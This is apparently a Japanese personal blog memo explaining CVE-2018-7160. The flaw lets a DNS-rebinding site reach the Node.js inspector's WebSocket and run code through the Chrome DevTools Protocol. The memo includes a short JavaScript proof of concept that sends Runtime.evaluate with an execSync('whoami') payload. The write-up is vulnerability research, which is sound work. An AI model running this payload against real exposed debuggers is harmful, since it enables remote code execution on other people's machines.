機動戦士ガンダムユニコーン RE:0096を視聴したところ、感化されて Aimer を聴きながらユニコーンのガンプラを作って大変満足している。


Node.js の inspector モードで DNS Rebinding を利用した RCE (CVE-2018-7160) がどのようなものなのか手元で確認してみたのでメモ。
メモなのでかなり殴り書き。

Chrome DevTools Protocol

CVE-2018-7160を理解する前に Chrome DevTools Protocol について知っておく必要があった。
Chrome DevTools Protocol を利用することで Blink ベースのブラウザのデバッグやら何やらが可能になる。
Headless Chrome での操作はすべて Chrome DevTools Protocol で制御され、その実体は WebSocket である。
ドキュメント を見ると分かるが、本当に色々なことができる。

VS Code や Node.js でデバッグを行うときは、この Chrome DevTools Protocol が使用され、Node.js アプリを --inspect オプションを指定して起動し、 chrome://inspect にアクセスすることで、デバッグすることができる。

このとき、 node のログには以下のようなメッセージが出現する。

Debugger listening on ws://127.0.0.1:9229/17d0639f-c36a-47da-9b95-9990b72bf8b7
For help, see: https://nodejs.org/en/docs/inspector

ws://127.0.0.1:9229/17d0639f-c36a-47da-9b95-9990b72bf8b7 がデバッグを行う WebSocket のエンドポイントである。

また、この情報は http://127.0.0.1:9229/json から取得できる。

$ curl http://127.0.0.1:9229/json

[ {
  "description": "node.js instance",
  "devtoolsFrontendUrl": "chrome-devtools://devtools/bundled/inspector.html?experiments=true&v8only=true&ws=127.0.0.1:9229/17d0639f-c36a-47da-9b95-9990b72bf8b7",
  "faviconUrl": "https://nodejs.org/static/favicon.ico",
  "id": "17d0639f-c36a-47da-9b95-9990b72bf8b7",
  "title": "app.js",
  "type": "node",
  "url": "file:///private/tmp/app.js",
  "webSocketDebuggerUrl": "ws://127.0.0.1:9229/17d0639f-c36a-47da-9b95-9990b72bf8b7"
} ]

CVE-2018-7160

攻撃の手順としては以下のようになる。

  1. webSocketDebuggerUrl を取得する
  2. webSocketDebuggerUrl に WebSocket でアクセスする
  3. Chrome DevTools Protocol API を利用して任意のコード実行

WebSocket に SOP (Same Origin Policy) は適用されないので、どのドメインからも接続できる。

しかし、 http://127.0.0.1:9229/json のレスポンスは別オリジンからは JavaScript でアクセスすることはできない。
なので、実質 webSocketDebuggerUrl を取得することは困難。

webSocketDebuggerUrl は uuid が含まれているので推測は困難。

そこで、DNS Rebinding を利用することで一時的に罠サイトのAレコードを 127.0.0.1 とすることで、 webSocketDebuggerUrl を取得する。

そして取得した webSocketDebuggerUrl に WebSocket で接続する。本来、こういった WebSocket のエンドポイントでは Origin ヘッダや Host ヘッダを確認する必要があるが、 Nodejs では行われていなかったため、本脆弱性が生じた。

webSocketDebuggerUrl にアクセスしたあとは、 Chrome Remote Debug Protocol に基づいて以下のような JSON を送信する。

{
  "id": 1,
  "method": "Runtime.evaluate",
  "params": {
    "expression": <javascritp code>
  }
}

Runtime.evaluate メソッドを使うことでパラメータ expression に渡した JavaScript コードを eval してくれる。

つまり、以下のような JavaScript を悪意あるサイトに用意し、 DNS Rebinding された被害者が閲覧すると、任意コード実行となる。

var ws = new WebSocket('ws://127.0.0.1:9229/' + webSocketDebuggerUrl);
ws.onopen = function() {
  data = 'require = process.mainModule.require; execSync = require("child_process").execSync; execSync("whoami");'
  ws.send(JSON.stringify({"id":1,"method":"Runtime.evaluate","params":{"expression": data}}))
}

まとめ

DNS Rebinding が必要なので攻撃難易度は高いが、攻撃されたときの影響は大きい。
WebSocket アプリケーションは SOP が適用されない分、 セキュリティは大変。

基本的に WebSocket を使用するときは以下の点に気をつける。


参考